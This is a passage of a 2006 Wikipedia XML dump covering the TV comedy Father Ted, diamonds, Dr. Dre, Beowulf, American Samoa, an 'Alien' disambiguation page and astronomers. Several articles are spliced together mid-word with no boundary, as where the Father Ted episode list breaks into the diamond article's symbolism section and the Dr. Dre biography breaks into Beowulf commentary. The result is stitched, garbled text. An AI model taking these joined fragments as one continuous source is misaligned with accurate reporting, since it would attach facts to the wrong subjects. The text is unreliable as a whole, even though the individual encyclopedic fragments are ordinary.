parishioners and other characters appear on the show on a one-off basis. See [[Father Ted minor characters]] for a complete list. ===Priests=== ====Bishop Leonard Brennan==== '''Bishop Len Brennan''' ([[Jim Norton (actor)|Jim Norton]]), Ted's boss. Len has little patience with Ted and his friends, whom he refers to as &quot;the cast of [[Police Academy]]&quot;. He also has a terrible phobia of rabbits, due to being stuck in a lift with some once. Secretly he has a girlfriend and son living in California. ====Father Noel Furlong==== '''Father Noel Furlong''' ([[Graham Norton]]) and his reluctant St Luke's Youth Group, who turn up in uncompromising places such as a tiny caravan and a dark cave. Father Noel is overwhelmingly enthusiastic to the point of being interminable, regaling everyone with songs, having &quot;screeching&quot; competitions in the cave and doing [[Riverdance]] in the cramped caravan. Even when buried under a &quot;big pile of rocks&quot; he talks incessantly and cheerfully. His version of &quot;Bohemian Rhapsody&quot; was a high point of the series. His youth group eventually run off to Paraguay. He occasionally turns up without his youth group, for example, on a plane crammed with priests which is rapidly running out of fuel. ====Father Larry Duff==== '''Father Larry Duff''', a priest with a zest for life who Ted claims is &quot;tremendous fun&quot; around others. Ted often calls Larry for advice on his mobile phone. However, when Ted calls him on his mobile phone, he suffers a horrible accident yet always reappears unharmed in a subsequent episode (much like [[Kenny McCormick]] in the animated series ''[[South Park]]''). These events include car and skiing accidents, a disastrous donkey derby, a very painful mishap with a stapler, an unlucky incident with a [[Knife throwing|knife thrower]], and being savaged by a dozen Rottweiler dogs. He was once arrested by security forces because &quot;a big box of machine guns&quot; were found in a fellow priest's house, with whom he was sharing a car at the time. ====Father Dick Byrne==== '''Father Dick Byrne''', Ted's opposite number and nemesis on the nearby Rugged Island. The Father Ted equivalent of The Master in 'Doctor Who', Dick Byrne is forever up to no good. In Ted's pithy phrase: &quot;As priests go... he's a really bad priest&quot;. He has two colleagues on Rugged Island:'''Father Jim Johnson''' and '''Father Cyril MacDuff''', who are sort of equivalents to Jack and Dougal. ===Islanders=== ====John and Mary O'Leary==== Local shop-owners '''Mary''' and '''John O'Leary''' who, whilst striving to appear sweetness and light to the clergy, are constantly at each other's throats and make numerous attempts to murder each other. ====Tom==== '''Tom''' ([[Pat Shortt]]), a bizarre maniac who nevertheless has a polite tone to friends. He wears a T-shirt on which he claims &quot;I shot JR&quot; (a reference to ''[[Dallas (TV series)|Dallas]]'', an American soap opera). In the first episode of Father Ted, he confesses to an apparently unconcerned Ted that &quot;I killed a man&quot;. He possesses a strange scar on his buttocks, which is never revealed to the audience. Of this scar, Tom proclaims &quot;Would you believe me own dog did that to me?! Doesn't it look like a face?!&quot; A true sign of his insanity is made clear in the original scripts, in which he is the only person on the island to think that Ted and Dougal's Eurovision performance of &quot;My Lovely Horse&quot; is actually good. He does not spare his violent nature from animals. He interprets Ted's request to &quot;take care&quot; of a large family of rabbits as a request to slaughter them with a Japanese Katana, and inecessantly shoots a crow sitting 3 feet away from him with a shotgun in the first episode. ==Production details== Contrary to frequent rumours, Mathews and Linehan did not originally pitch the series to the Irish network [[Radio Telefís Éireann|RTÉ]], but rather offered it directly to [[Hat Trick Productions]] and [[Channel 4]] in the [[United Kingdom|UK]]. Nevertheless, it is a rich irony that what went on to be one of the most popular TV shows in Ireland, performed largely by an Irish cast, and containing so many accurate (albeit comically exaggerated) depictions of national Irish eccentricities, was paid for and shot by a British broadcaster. Somewhat controversially, RTÉ initially did not buy the rights to broadcast the show in Ireland, perhaps for fear of offending more conservative viewers. However, Channel 4 is available on cable and [[MMDS]] in very many Irish homes and the show became a hit in Ireland without any help from RTÉ, who eventually responded to the obvious demand and broadcast the show themselves. The theme tune for the series was written and performed by [[Neil Hannon]]'s aptly-named band [[The Divine Comedy (band)|The Divine Comedy]], and was later reworked into a song ''Songs of Love'' for the album ''Casanova''. (The song ''Woman of The World'' from the same album was also offered as a potential theme tune, but rejected.) The band also contributed the ridiculous ''[http://www.geocities.com/TelevisionCity/Studio/1728/pages/horse.html My Lovely Horse]'' (a [[B-side]] on ''Gin Soaked Boy'') used in the episode &quot;Song for Europe&quot;, with singer Neil Hannon providing Ted's vocal; and also composed ''My Lovely Mayo Mammy'' for the episode &quot;Night of the Nearly Dead&quot; with the character Eoin McLove, as well as various other musical items heard in the show. Three series and one [[Christmas]] special were completed. In addition Morgan and O'Hanlon in character hosted an hour of [[Comic Relief]], during which Kelly and McLynn made brief appearances as Father Jack and Mrs Doyle in one of the routines. Just after the completion of Series 3, [[Dermot Morgan]] died of a [[myocardial infarction|heart attack]], aged 45. As a result, series 3 was first broadcast a week later than originally planned, out of respect for Morgan. Both the writers and co-stars agree that the third series was always intended to be the last, regardless of Morgan's sudden death. Location shooting for ''Father Ted'' was done mostly in [[County Clare]], including locations at [[Ennis]], [[Kilfenora]], [[Ennistimon]], and [[Kilnaboy]]. The parochial house is at [[Glenquin]], near Kilnaboy, while the cinema featured in 'The Passion Of St Tibulus' is at [[Greystones]], [[County Wicklow]]. The opening sequence (including shots of the ''Plassey'' ship wreck) were filmed over [[Inisheer]] - the smallest of the [[Aran Islands]]. The show is currently being aired on [[BBC America]]. == List of episodes == === Series 1 (1995) === [[Image:FATHER TED Down with this sort of thing.jpg|thumbnail|right|200px|Father Ted and Fathe
stical affiliations. In [[Tibetan Buddhism]], also known as [[Vajrayana]] (Diamond Vehicle), diamonds are an important symbol, and the [[Diamond Sutra]] is one of the most popular texts. In Western culture, diamonds are the traditional emblem of fearlessness and virtue, but have also often associated with power, wealth, crime and misfortune. Today, diamonds are used to symbolize eternity and love, being often seen adorning [[engagement ring]]s and sometimes [[wedding ring]]s as well. The popularity of this modern tradition can be traced directly to the marketing campaigns of De Beers, starting in 1938. Prior to the [[De Beers]] marketing campaign, engagement rings had no one particular stone associated with them. The first diamond engagement ring can be traced to the marriage of [[Maximilian I, Holy Roman Emperor|Maximilian I]] (then Archduke of [[Austria]]) to [[Mary of Burgundy]] in 1477. Other early examples of betrothal jewels incorporating diamonds include the ''Bridal Crown of Blanche'' (ca. 1370&amp;ndash;80) and the ''Heftlein'' brooch of Vienna (ca. 1430&amp;ndash;40), a pictorial piece depicting a wedding couple. Inaccessibility of diamonds to the vast majority of the population limited the popularity of diamonds as betrothal jewels during this period. The [[LifeGem]] company further taps modern symbolism by offering to synthetically convert the carbonized remains of people or pets into &quot;memorial diamonds.&quot; However, many people feel very uncomfortable at the thought of wearing the carbonized remains of people as jewelry. The diamond is the [[birthstone]] for people born in the month of [[April]], and is also used as the symbol of a sixty-year [[anniversary]], such as a [[Diamond Jubilee]] (see ''[[hierarchy of precious substances]]''). Diamonds are a common focus of fiction. Notable pieces of fiction include [[Ian Fleming]]'s ''[[Diamonds Are Forever]]'' (1956), [[Arthur C. Clarke]]'s ''[[2061: Odyssey Three]]'' (1988) and [[Neal Stephenson]]'s ''[[The Diamond Age]]'' (1995). In addition, diamonds are the subject of various myths and legends. ==External links== {{commons|Diamond}} *[http://www.prismgem.com Prism Gem (information on colored diamonds)] *[http://www.sciencetechnologies.com/wikimol/index.php/Diamond 3D Interactive Molecular Visualization of Diamond] at '''[http://www.sciencetechnologies.com/wikimol WikiMol]''' (requires [[Macromedia Flash]]) *[http://www.elementsmagazine.org/Elements_online/ELEM_V1n2.pdf Elements vol.1 no.2 (March 2005): Diamonds] (.[[pdf]] file) *[http://www.gia.edu Gemological Institute of America] *[http://newton.ex.ac.uk/research/qsystems/people/sque/diamond/structure.html Interactive structure of bulk diamond] (Java applet). *[http://www.pbs.org/wnet/nature/diamonds/index.html PBS Nature: Diamonds] *[http://www.cutstudy.com Russian Gemological Server] *[http://www.mnh.si.edu/exhibits/si-gems Smithsonian's exhibit of fancy color diamonds] *[http://www.ist.fraunhofer.de/kompetenz/super/diamant/frames.html Synthetic CVD diamond coatings at the Fraunhofer Institute for Surface Engineering and Thin Films] *[http://www.theatlantic.com/doc/198202/diamond The Atlantic Online: 1982 article on the De Beers diamond cartel and on the creation and evolution of the gem diamond market] ==References== * American Museum of Natural History. [http://www.amnh.org/exhibitions/diamonds/ &quot;The Nature of Diamonds&quot;]. Retrieved March 9, 2005. * Anderson, Arthur &amp; Judith. [http://www.jewelryexpert.com/articles/Fancy-Color-Diamonds.htm &quot;Fancy Color Diamonds&quot;]. Retrieved September 12, 2005. * The Columbia Electronic Encyclopedia, Sixth Edition (2003). &quot;Diamond&quot;. Retrieved March 9, 2005 at http://www.answers.com/topic/diamond. * Cuellar, Fred. [http://www.diamondcuttersintl.com/diamond_education/articles/customers/getting_in_shape.html &quot;Diamonds - Getting Into Shape&quot;]. Diamond Cutters International. Retrieved April 10, 2005. * David, Joshua (September 2003). [http://www.wired.com/wired/archive/11.09/diamond.html &quot;The New Diamond Age&quot;]. ''Wired'', issue 11.09. * De Beers Group. [http://www.debeersgroup.com/debeersweb &quot;De Beers Group&quot;]. Retrieved March 14, 2005. * Epstein, Edward Jay (February 1982). [http://www.theatlantic.com/issues/82feb/8202diamond1.htm &quot;Have You Ever Tried To Sell a Diamond?&quot;] (subscription required). ''The Atlantic Monthly''. * Epstein, Edward Jay (1982). [http://edwardjayepstein.com/diamond/prologue.htm &quot;THE DIAMOND INVENTION&quot;] (Complete book, includes &quot;Chapter 20: Have you ever tried to sell a diamond?&quot;) * Eppler, W.F. ''Praktische Gemmologie''. Rühle-Diebner-Verlag, 1989 * Government of Gujarat (2004). [http://www.vibrantgujarat.com/sp-gems.html &quot;Vibrant Gujarat: Sector Profiles&quot;]. Retrieved March 14, 2005. * Kjarsgaard, B.A. and Levinson, A. A. (2002). Diamonds in Canada. ''Gems &amp; Gemology'', Vol. 38, No. 3, pp. 208&amp;ndash;238. * Pagel - Theisen, Verena. ''Diamond Grading ABC: the Manual.'' Rubin &amp; Son, Antwerp, Belgium, 2001. ISBN 3980043460 * Pricescope. [http://www.pricescope.com/Reports.asp?shp=8&amp;cut=2 &quot;Diamond price report&quot;]. Retrieved September 26, 2005. * Sque, Steve (March 8, 2005). [http://newton.ex.ac.uk/research/qsystems/people/sque/diamond/ &quot;Properties of Diamond&quot;]. Retrieved March 10, 2005. * Taylor, W.R., Lynton A.J. &amp; Ridd, M., (1990) Nitrogen defect aggregation of some Australasian diamonds: Time-temperatre constraints on the source regions of pipe and alluvial diamonds. ''American Mineralogist'', 75, pp. 1290-1310. * Tolkowsky, Marcel (1919). ''Diamond Design: A Study of the Reflection and Refraction of Light in a Diamond.'' London: E. &amp; F.N. Spon, Ltd. ([http://www.folds.net/diamond/index.html Web edition] as edited by Jasper Paulsen, Seattle, 2001.) * Tyson, Peter (November 2000). [http://www.pbs.org/wgbh/nova/diamond/sky.html &quot;Diamonds in the Sky&quot;]. Retrieved March 10, 2005. * United Nations Department of Public Information (March 21, 2001). [http://www.un.org/peace/africa/Diamond.html &quot;Conflict Diamonds&quot;]. Retrieved March 10, 2005. * Weiner, K.L., Hochleitner, R., Weiss, S., Voelstadt H. ''Diamant'', Lapis, München, 1994. * Yarnell, Amanda (February 2, 2004). [http://pubs.acs.org/cen/coverstory/8205//8205diamonds.html &quot;The Many Facets of Man-Made Diamonds&quot;]. ''Chemical &amp; Engineering News'', vol. 82, no. 5, pp 26&amp;ndash;31. * American Museum of Natural History. [http://www.amnh.org/exhibitions/diamonds/index.html &quot;The Nature of Diamonds&quot;]. Retrieved Oct 21,2005. * Supercomputing Institute.[http://www.msi.umn.edu/general/Bulletin/Vol.15-No.3/article_3.html&quot;Simulation of diamond growth&quot;].Retrieved Nov 01,2005. * Carnegie Institution.[http://www.carnegieinstitution.org/diamond-13may2005/ &quot;Very Large Produced Very Fast Diamond&quot;].Retrieved Nov 01,2005. &lt;!--Categories--&gt; &lt;!--Interlanguage links--&gt; [[Category:Chemical elements|Carbon, Diamond]] [[Category:Diamond| ]] [[Category:Native element minerals]] [[Category:Geology]] [[Category:Semiconductor materials]] {{Link FA|eo}} [[ar:ألماس]] [[bg:Диамант]] [[ca:Diamant]] [[cs:Diamant]] [[da:Diamant]] [[de:Diamant]] [[et:Teemant]] [[es:Diamante]] [[eo:Diamanto]] [[fr:Diamant]] [[hi:हीरा]] [[id:Intan]] [[it:Diamante]] [[he:יהלום]] [[ka:ბრილიანტი]] [[lt:Deimantas]] [[jbo:krilytabno]] [[hu:Gyémánt]] [[ms:Berlian]] [[nl:Diamant]] [[ja:ダイヤモンド]] [[no:Diamant]] [[nn:Diamant]] [[pl:Diament]] [[pt:Diamante]] [[ru:Алмаз]] [[simple:Diamond]] [[sk:Diamant]] [[sl:Diamant]] [[sr:Дијамант]] [[fi:Timantti]] [[sv:Diamant]] [[tr:Elmas]] [[uk:Діамант (мінерал)]] [[zh:金刚石]]</text> </revision> </page> <page> <title>Dr. Dre</title> <id>8083</id> <revision> <id>42080131</id> <timestamp>2006-03-03T18:10:57Z</timestamp> <contributor> <ip>67.10.243.144</ip> </contributor> <text xml:space="preserve">:''This article is about the Los Angeles rapper and producer Dr. Dre. For the New York radio and television presenter, see [[Doctor Dre]]'' [[Image:DR-DRE.jpg|frame|Dr.Dre|right]] '''Dr. Dre''' (born '''Andre Romel Young''' on [[February 18]], [[1965]], in [[Compton, California|Compton]], [[Los Angeles, California]]) is an [[African-American]] [[record producer]], [[rapper]], and record executive, and is one of the wealthiest, most influential, most successful and well-known producers in the field of [[hip hop music]]. Dre became famous as a member of iconic [[gangsta rap]] group [[N.W.A]], continuing his success as a best-selling solo rapper, and most famously, the founder of record labels [[Death Row Records]] and [[Aftermath Entertainment]]. He is notable for having launched the careers of rap superstars [[Snoop Dogg]] and [[Eminem]], and is widely regarded as one of hip hop's greatest producers. The artists on his sizeable Aftermath roster today include [[RIAA|multi-platinum]] artists such as [[Eminem]], [[50 Cent]], and more recently [[Busta Rhymes]], [[Eve (rapper)|Eve]], [[The Game (rapper)|The Game]] and of course Dr. Dre himself. Dr. Dre has made three solo albums, [[The Chronic]], [[Dr. Dre Presents... The Aftermath]], [[2001 (album) | 2001]]. ==Biography== Dr. Dre started his producing career as a member of the [[World Class Wreckin' Cru]] during the first half of the [[1980s]]. In [[1986]], he and fellow World Class Wreckin' Cru member [[DJ Yella]] were two of the founding members of N.W.A, a highly successful and controversial group which created the prototype for much of what was termed &quot;gangsta rap&quot; in the [[1990s]]. On the other hand, Dre's rapping style and image was still very much evolving at the time. Take, for example, his verse on the song &quot;Express Yourself&quot; off the album ''[[Straight Outta Compton]]'': :Some drop science; while I'm droppin' english :Even if Yella, makes it [[A cappella|a-capel
this reads: : &quot;What! We have heard of the glory of the spear-Danes in the old days, of the people's kings, how the princes did deeds of valor.&quot; Old English poetry such as Beowulf is very different from modern poetry. It was probably recited, for few people at that time were able to read. Instead of rhyme, poets typically used [[alliteration]] - a technique in which the first sound of several words in a line is the same, as in &quot;Peter Piper picked a peck of pickled peppers.&quot; A line of Old English poetry usually has three words that alliterate. The meter, or rhythm, of the poetry works together with the alliteration: The stress in a line falls on the first syllables of the words that alliterate, as in the line &quot;weo'x under wo'lcnum, weo'rðmyndum þah.&quot; (He grew under the sky, he prospered in his glory.) Old English poets also used [[kenning]]s, poetic ways of saying simple things. For example, a poet might call the sea the &quot;swan-road&quot; or the &quot;whale-road&quot;; a king might be called a &quot;ring-giver.&quot; There are many kennings in Beowulf. In fact, some scholars think the name Beowulf itself may be a kenning. It may mean &quot;bee-wolf,&quot; a term for a bear, which attacks beehives the way a wolf attacks other animals. (Gay, David E., &quot;Beowulf.&quot;The New Book of Knowledge. Scholastic Library Publishing, 2005 [http://nbk.grolier.com] (October 17, 2005)) Fr. Klaeber's ''Beowulf and the Fight at Finnsburg'' has been the standard Old English text/glossary used by scholars since the [[1920s]]. Two recent Old English text/glossaries include George Jack's 1997, ''Beowulf : A Student Edition.'' and Bruce Mitchell's 1998, ''Beowulf: An Edition with Relevant Shorter Texts''. The first translation, by [[Thorkelin|Grímur Jónsson Thorkelin]], was to [[Latin]], in connection with the first publication of his transcription. [[Nikolaj Frederik Severin Grundtvig]], greatly unsatisfied with this translation, made the first translation into a modern language — [[Danish language|Danish]] — which was published in [[1820]]. After Grundtvig's travels to England came the first English translation, by [[J. M. Kemble]] in [[1837]]. Since then there have been numerous translations of the poem in English. Irish poet [[Seamus Heaney]] and [[E. Talbot Donaldson]] have both published translations with [[W.W. Norton]] of [[New York]]. Other popular translations of the poem include those by [[Howell D. Chickering]] and [[Frederick Rebsamen]]. [[J. R. R. Tolkien]] believed the translation by [[J. J. Earle]] was not accurate, and did not convey the meaning and symbolism of the storyline or the beauty of the prose of the poem. Chauncey Brewster Tinker was much more positive, however. == Form == The poem is in alliterative [[measure (music)|measure]], in which the alliterative unit is the line and the [[meter (poetry)|metrical unit]] is the half-line. Its poetic vocabulary included sets of metrical compounds that are varied according to alliterative needs. It also makes extensive use of [[elision|elided]] [[metaphor]]s. The two halves of the poem are distinguished in many ways: youth then age; Denmark, then Geatland; the hall, then the barrow; public, then intimate; diverse, then focussed. Here is a small sample including the first naming in the poem of Beowulf himself. After each line is translation to modern English. A freely-available translation of the poem, now out of copyright, is that of Francis Gummere. It can be had at [[Project Gutenberg]] [http://www.gutenberg.org/etext/981]. {| cellspacing=&quot;0&quot; style=&quot;white-space: nowrap;&quot; | ''Line'' || ''Original'' || ''Translation'' |- | || oretmecgas æfter æþelum frægn: | ...asked the warriors of their lineage: |- | || &quot;Hwanon ferigeað ge fætte scyldas, | &quot;Whence do you carry ornate shields, |- | || græge syrcan ond grimhelmas, | Grey mail-shirts and masked helms, |- | [335] || heresceafta heap? Ic eom Hroðgares | A multitude of spears? I am [[Hrothgar]]'s |- | || ar ond ombiht. Ne seah ic elþeodige | herald and officer. I have never seen, of foreigners, |- | || þus manige men modiglicran, | So many men, of braver bearing, |- | || Wen ic þæt ge for wlenco, nalles for wræcsiðum, | I know that out of daring, by no means in exile, |- | || ac for higeþrymmum Hroðgar sohton.&quot; | But for greatness of heart, you have sought Hrothgar.&quot; |- | [340] || Him þa ellenrof andswarode, | To him, thus, bravely, it was answered, |- | || wlanc Wedera leod, word æfter spræc, | By the proud [[Geat]]ish chief, who these words thereafter spoke, |- | || heard under helme: &quot;We synt Higelaces | Hard under helm: &quot;We are [[Hygelac]]'s |- | || beodgeneatas; Beowulf is min nama. | Table-companions. [[Beowulf (hero)|Beowulf]] is my name. |- | || Wille ic asecgan sunu Healfdenes, | I wish to declare to the son of [[Healfdene]] |- | [345] || mærum þeodne, min ærende, | To the renowned prince, my mission, |- | || aldre þinum, gif he us geunnan wile | To your lord, if he will grant us |- | || þæt we hine swa godne gretan moton.&quot; | that we might be allowed to address him, he who is so good.&quot; |- | || Wulfgar maþelode (þæt wæs Wendla leod; | Wulfgar Spoke &amp;ndash; that was a [[Vendsyssel|Vendel]] chief; |- | || his modsefa manegum gecyðed, | His character was to many known |- | [350] || wig ond wisdom): &quot;Ic þæs wine Deniga, | His war-prowess and wisdom &amp;ndash; &quot;I, of him, friend of [[Daner|Danes]], |- | || frean Scildinga, frinan wille, | the [[Scylding]]s' lord, will ask, |- | || beaga bryttan, swa þu bena eart, | Of the [[Germanic king|ring bestower]], as you request, |- | || þeoden mærne, ymb þinne sið, | Of that renowned prince, concerning your venture, |- | || ond þe þa ondsware ædre gecyðan | And will swiftly provide you the answer |- | [355] || ðe me se goda agifan þenceð.&quot; | That the great one sees fit to give me.&quot; |} == Influence upon contemporary works and pop culture== ===Literature=== * ''[[The Catcher in the Rye]]'': Holden Caulfield mentions ''Beowulf'' when explaining why English was the only subject he passed while attending Pencey Prep. *''[[Eaters of the Dead]]'': The ''Beowulf'' story, in combination with the [[10th century]] [[Arabic language|Arabic]] narrative of [[Ahmad ibn Fadlan]], was used as the basis for this [[Michael Crichton]] novel. *''[[Grendel (novel)|Grendel]]'': The ''Beowulf'' story is retold from [[Grendel]]'s point of view in this (1971) [[novel]] by [[John Gardner]]. * The [[Heorot]] series of science-fiction novels, by [[Steven Barnes]], [[Jerry Pournelle]], and [[Larry Niven]], is named after the stronghold of King Hrothgar and partly parallels ''Beowulf''. * [[Inheritance Trilogy]]: The King of the Dwarves in the these novels by [[Christopher Paolini]] is named Hrothgar, the same as the King of the Danes in ''Beowulf''. * ''[[The Lord of the Rings]]'': ''Beowulf'' exercised an important influence on [[J. R. R. Tolkien]], who wrote the landmark essay ''[[Beowulf: the monsters and the critics]]'' while a professor at [[University of Oxford|Oxford University]]. Tolkien also translated the poem, which the Tolkien Society has recently decided to publish. Grendel and Grendel's mother were the inspiration for the [[Orc]]s in his Ring trilogy (see also the Old English word ''orcneas'', which makes but a single appearance in the poem). Many parallels can also be drawn between ''Beowulf'' and ''[[The Hobbit]]''. ===Films=== * ''[[Grendel, Grendel, Grendel]]'' ([[1981]]): an animated film based on [[John Gardner]]'s novel and starring [[Peter Ustinov]] * ''[[Animated Epics: Beowulf]]'' ([[1998]]): voiced by [[Joseph Fiennes]] *''[[The 13th Warrior]]'' ([[1999]]): This film, starring [[Antonio Banderas]] as [[Ibn Fadlan]] and [[Vladimir Kulich]] as Buliwyf (Beowulf), was based upon Crichton's novel mentioned above. *''[[Beowulf (1999 film)|Beowulf]]'' ([[1999]]): a science-fiction/fantasy film starring [[Christopher Lambert]], loosely influenced by Beowulf *''[[Beowulf &amp; Grendel]]'' ([[2005]]): an independent feature starring [[Gerard Butler]] *''[[Beowulf: Prince of the Geats]]'' ([[2006]]): a low-budget feature donating 100% of its sales and promotions to the [[American Cancer Society]] *''[[Beowulf (2007 film)|Beowulf]]'' ([[2007]]): a computer-animated feature directed by [[Robert Zemeckis]] ===Additional film, television &amp; music=== *''[[Star Trek: Voyager| Star Trek Voyager]]'': In the episode ''[http://www.startrek.com/startrek/view/library/episodes/VOY/detail/68842.html Heroes and Demons]'' Ensign [[Harry Kim (Star Trek)| Harry Kim]] ran a holographic version of the Beowulf poem with himself as the central character. Most of the episode took place inside this Beowulf [http://memory-alpha.org/en/wiki/Holonovel holonovel], and revolved around [[Doctor (Star Trek)|The Doctor]]'s attempt to rescue his fellow crewmates. *Progressive rock band [[Marillion]] released a song called &quot;Grendel&quot; based on [[Grendel (novel)|John Gardner's rendition of the poem]]. In true progressive rock traditions, the song was in excess of 15 minutes and when played live involved lead singer [[Fish (singer)|Fish]] acting out a ritual 'slaughtering' of a member of the audience pulled out of the front row. *Beowulf and Grendel appear in several episodes of [[Xena: Warrior Princess]], including &quot;The Rheingold&quot;. Grendel is the son of the monster Grinhilda that is made after she wears the Rheingold ring, that Xena made. Beowulf searches for Xena in order to stop Grindel and Grinhilda after 35 years. ===Games=== *''[http://www.beowulfgame.com Beowulf]'': action adventure game based on the original story, coming for PC and console *''[[Castlevania: Aria of Sorrow]]'': The magical sword [[Hrunting]], which Beowulf used in his fight with [[Grendel's Mother]], is featured in the GBA game. * ''[[Devil May Cry 3]]:'' In this [
rican. A number have also ventured into professional wrestling (see especially [[:Category:Anoai wrestling family|Anoai wrestling family]]). * Persons born in American Samoa are United States [[nationality|national]]s, but not United States [[citizen]]s. This is the only circumstance under which an individual would be one and not the other. * The [[American Samoa national soccer team]] holds an unwanted world record in international [[football (soccer)|soccer]]—the record defeat in an international match, a 31-0 crushing by [[Australia national football team|Australia]] on [[April 11]], [[2001]]. * Although many respected reference sources list the neighboring village of [[Pago Pago]] as the capital, [[Fagatogo]] is the ''de facto'' and ''de jure'' (i.e., constitutionally designated; cf. Article 5, Section 9) seat of government. Additionally, the governor's office is located in the village of Utulei, located on the opposite side of Fagatogo from Pago Pago. The reason why many sources list Pago Pago is because the name Pago Pago, the most popular port of call in American Samoa, has become associated with the harbor itself; thus Pago Pago is now generally applied to the harbor area and the capital. However, both the port itself and the legislature of American Samoa—known as the Fono—are located in Fagatogo, a village that is adjacent to (and for all practical purposes indistinguishable from) Pago Pago. (Cf. Wikipedia entry for [[Pago Pago]].) *In March of 1889, a [[Germany|German]] naval force shelled a village in [[Samoa]], and by doing so destroyed some [[United States|American]] property. Three American warships then entered the [[Samoan]] harbor and were prepared to fire on the three German warships found there. Before guns were fired, a hurricane blew up and sank all the ships, American and German. A compulsory [[armistice]] was called because of the lack of warships. ==See also== [[Aloha Council#Scouting in American Samoa|Scouting in American Samoa]] ===Government=== * [[List of American Samoa Governors]] * [[Elections in American Samoa]] ===Sports=== * [[American Samoa at the 2000 Summer Olympics]] * [[American Samoa national rugby league team]] * [[American Samoa national soccer team]] ===CIA Factbook Data=== ''From the [[CIA World Factbook]] 2000:'' * [[Geography of American Samoa]] * [[Demographics of American Samoa]] * [[Politics of American Samoa]] * [[Economy of American Samoa]] * [[Communications in American Samoa]] * [[Transportation in American Samoa]] * [[Military of the United States|Military: Defense is the responsibility of the US]] ==External links== {{wikinewscat|American Samoa|American Samoa}} * [http://www.cia.gov/cia/publications/factbook/geos/aq.html CIA - The World Factbook -- American Samoa] - [[CIA]]'s Factbook on American Samoa * [http://www.nebraskapress.unl.edu/bookinfo/4883.html &quot;The Passive Resistance of Samoans to US and Other Colonialisms&quot;], article in &quot;Sovereignty Matters&quot;, ed. Joanne Barker, University of Nebraska Press, 2005. *[http://www.historyofnations.net/oceania/americansamoa.html History of American Samoa]- Essay which looks at the history of the territory from ancient to more modern times. *[http://www.janeresture.com/amsam/index.htm Jane's American Samoa Page] *[http://www.loc.gov/rr/international/asian/americansamoa/americansamoa.html Library of Congress Portals of the World - American Samoa] - Library of Congress resource which provides links to resources on American Samoa. * [http://www.mapsouthpacific.com/american_samoa/index.html Map of American Samoa] - Map showing the basic layout of American Samoa. * [http://www.asbar.org/Newcode/rcas.htm Revised Constitution of American Samoa] - Provides the text of the constition of American Samoa. *[http://www.asg-gov.net/ The Official Webpage of the American Samoa Government] - Lists information on the territorial government including officials and recent legislation. * [http://www.un.org/Depts/dpi/decolonization/docs.htm United Nations Decolonization Papers] - Online United Nations Decolonization Documents including current and past Working Papers on American Samoa * [http://www.choohoo.com/ ChooHoo!] - An online community for Samoans. Features include forums, chat, blogs, etc. *[http://www.rulers.org/rula1.html#american_samoa Rulers.org — American_samoa] List of rulers for American Samoa {{American Samoa}} {{Pacific Islands}} {{Polynesia}} {{United States}} [[Category:American Samoa|*]] [[Category:Insular areas of the United States]] [[Category:Oceanic dependencies]] [[zh-min-nan:Bí-kok Samoa]] [[ca:Samoa Nord-americana]] [[da:Amerikansk Samoa]] [[de:Amerikanisch-Samoa]] [[et:Ameerika Samoa]] [[es:Samoa Americana]] [[eo:Usona Samoo]] [[fr:Samoa américaines]] [[ko:아메리칸사모아]] [[id:Samoa Amerika]] [[is:Bandaríska Samóa]] [[it:Samoa Americane]] [[he:סמואה האמריקנית]] [[lv:Austrumsamoa]] [[lt:Amerikos Samoa]] [[hu:Amerikai Szamoa]] [[mk:Американска Самоа]] [[ms:Samoa Amerika]] [[nl:Amerikaans-Samoa]] [[ja:アメリカ領サモア]] [[no:Amerikansk Samoa]] [[nn:Amerikansk Samoa]] [[pl:Samoa Amerykańskie]] [[pt:Samoa Americana]] [[ru:Американское Самоа]] [[sm:Amerika Samoa]] [[simple:American Samoa]] [[sk:Americká Samoa]] [[sl:Ameriška Samoa]] [[fi:Amerikan Samoa]] [[sv:Amerikanska Samoa]] [[tr:Amerikan Samoası]] [[uk:Американське Самоа]] [[zh:美屬薩摩亞]]</text> </revision> </page> <page> <title>Alien</title> <id>579</id> <revision> <id>41942092</id> <timestamp>2006-03-02T19:59:23Z</timestamp> <contributor> <username>Lucian Gregory</username> <id>1008143</id> </contributor> <text xml:space="preserve">{{wiktionarypar|alien}} '''Alien''' or '''Aliens''' may mean: * [[Extraterrestrial life]], in scientific context * [[Extraterrestrial life in culture]] * [[Alien (film)|''Alien'' (film)]] (1979), by Ridley Scott * [[Aliens (1986 film)|''Aliens'' (1986 film)]], the sequel to the above film * [[xenomorph]], the alien creatures from the ''Alien'' movies * [[Aliens (comic)]], a group of comic book series * [[Alien (biology)]], a non-native species * [[Alien (computing)]], a program that converts between different Linux package distribution file formats * [[Alien (law)]], a person who is neither a native nor a citizen of their country of residence * [[Alien (signifier)]], use in literature and criticism as the embodiment of an outside perspective or the sense of the other * [[The Aliens]], Roky Erickson's backing band * [[Alien (game)]], a 1982 DOS text adventure {{disambig}} [[de:Alien]] [[es:Alien]] [[fr:Alien]] [[ja:宇宙人]] [[nl:Buitenaards wezen]] [[pl:obcy]] [[pt:Alienígena]] [[fi:Alien]] [[zh:外星人]]</text> </revision> </page> <page> <title>Astronomer</title> <id>580</id> <revision> <id>42138169</id> <timestamp>2006-03-04T01:52:54Z</timestamp> <contributor> <username>Mozasaur</username> <id>475997</id> </contributor> <minor /> <comment>terminology, astronomers are people, not all astronomers do research.</comment> <text xml:space="preserve">An '''astronomer''' or '''astrophysicist''' is a person whose area of interest is [[astronomy]] or [[astrophysics]]. [[Image:Johannes Helvelius.jpg|right|thumb|180px|[[Johannes Hevelius]] was famed for his work on [[sunspot]]s, and being the first to study the surface of the [[moon]].]] Astronomy is generally thought to have begun in [[ancient history|ancient]] [[Babylon]] by the [[Persian Empire|Persian]] [[Zoroastrian]] priests (the ''[[magi]]''). Recent studies of Babylonian records have shown them to be extremely accurate for the ancient night sky. Following the Babylonians, the [[Egypt]]ians also had an emphasis on observations of the sky. Mixtures of religious interpretations of the sky and the development of complex models for applying these interpretations, led to a [[duality]] that we now identify as [[astrology]]. It is important to recognize that before about [[1750]], there was no distinction between [[astrology]] and [[astronomy]]. Astronomers, unlike most scientists, cannot interact with the objects that they study. They instead must resort to detailed [[observation]] in order to make discoveries. Generally, astronomers use [[telescope|telescopes]] or other imaging equipment to make such observations. The job itself is involved with travel to remote locations to study as well. == Famous astronomers == {| border |- !Astronomer !Contribution |- |- |[[Hipparchus (astronomer)|Hipparchus]] and [[Ptolemy]] |Determined the positions of about 1,000 bright stars, tried to explain the puzzles of astronomy without refuting only believed geocentric model of universe and classified stars by [[Apparent magnitude|magnitude]]. |- |[[Aristarchus of Samos]] |First known person to propound the 